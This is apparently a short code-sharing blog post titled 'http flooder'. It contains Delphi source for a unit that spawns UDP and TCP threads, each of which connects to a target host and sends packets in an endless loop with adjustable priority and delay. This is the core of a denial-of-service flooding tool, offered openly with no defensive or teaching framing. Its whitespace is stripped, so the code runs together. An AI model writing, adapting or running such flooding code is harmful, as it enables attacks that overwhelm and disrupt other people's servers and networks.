*Function :
http flooder
*Code
http flooder
*Code
unit flooder;interfaceusesWinsock, Classes, Dialogs, forms, Messages, Windows, SysUtils;typeTUDPPacket = recordsocket: TSocket;Buffer: pAnsiChar;len,flags : integer;addrTo: TSockAddr;toLen : integer;end;//structure of a UDP packettypeTTCPPacket = recordsocket: TSocket;buffer: pAnsiChar;len,flags : integer;addrTo: TSockAddr;end;//structure of a TCP packettypeTUDPThread = class(TThread)strict privateFSent,FDelay : integer;uPacket: TUDPPacket;procedure SetDelay(Value: integer);publicproperty Sent : Integer read FSent;property Delay: Integer read FDelay write SetDelay;constructor create(startSuspended: boolean; Priority: integer; udpPacket: TUDPPacket); overload; //Create New Thread Procdestructor destroy; override; //Method to destroy threadprocedure execute; override; //execute the threadend;//thread for sending UDP PacketstypeTTCPThread = class(TThread)strict privateFSent,FDelay : integer;tPacket: TTCPPacket;procedure SetDelay(Value: integer);publicproperty Sent : Integer read FSent;property Delay: Integer read FDelay write SetDelay;constructor create(startSuspended: boolean; Priority: integer; tcpPacket: TTCPPacket); overload; //Create New Thread Procdestructor destroy; override; //Method to destroy threadprocedure execute; override; //execute the threadend;//thread for sending TCP PacketsvarWSAData: TWSAData;implementation//////////////////////////////////////// TUDPThread \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\constructor TUDPThread.create(startSuspended: Boolean; Priority: integer; udpPacket: TUDPPacket);begininherited Create(startSuspended); //create the thread by calling the original create methodfreeOnTerminate := true; //when the thread is destroyed, free ituPacket := udpPacket; //set "uPacket" variable with "udpPacket" parametercase Priority of0:self.priority := tpIdle;1:self.priority := tpLower;2:self.priority := tpLowest;3:self.priority := tpNormal;4:self.priority := tpHigher;5:self.priority := tpHighest;6:self.priority := tpTimeCritical;end; //set the thread's priority using the priority parameterend;destructor TUDPThread.destroy;beginFSent := 0;closeSocket(uPacket.socket);inherited destroy; //call the original destructor method "destroy" which is self explanatoryend;procedure TUDPThread.SetDelay(Value: Integer);beginFDelay := Value;end;procedure TUDPThread.execute;beginif (Connect(uPacket.socket, uPacket.addrTo, SizeOf(uPacket.addrTo)) = SOCKET_ERROR) then Terminate; //connect to host otherwise terminatewhile (not Terminated) do beginsendTo(uPacket.socket, uPacket.buffer[0], uPacket.len, uPacket.flags, uPacket.addrTo, uPacket.toLen); //send standard UDP packetif FDelay > 0 then Sleep(FDelay);inc(FSent);end;end;//////////////////////////////////////// TTCPThread \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\constructor TTCPThread.create(startSuspended: Boolean; Priority: Integer; tcpPacket: TTCPPacket);begininherited Create(startSuspended);freeOnTerminate := true;tPacket := tcpPacket;case Priority of0:self.priority := tpIdle;1:self.priority := tpLower;2:self.priority := tpLowest;3:self.priority := tpNormal;4:self.priority := tpHigher;5:self.priority := tpHighest;6:self.priority := tpTimeCritical;end;end;destructor TTCPThread.destroy;beginFSent := 0;closeSocket(tPacket.socket);inherited destroy;end;procedure TTCPThread.SetDelay(Value: Integer);beginFDelay := Value;end;procedure TTCPThread.execute;beginif (Connect(tPacket.socket, tPacket.addrTo, SizeOf(tPacket.addrTo)) = SOCKET_ERROR) then Terminate;while not Terminated do beginsend(tPacket.socket, tPacket.buffer[0], tPacket.len, tPacket.flags); //send standard TCP packetif FDelay > 0 then Sleep(FDelay);inc(FSent);end;end;/////////////////////////////////////////////////////////////////////////////////////////////////initializationbegin// If network initialization does not succeed then raise an exceptionif not(WinSock.WSAStartup(257, WSAData) = 0) thenmessageDlg('Failed to initialise!', mterror, [mbok], 0);end;finalizationbeginWSACleanup; //free WSADataend;end.
0 comments:
Post a Comment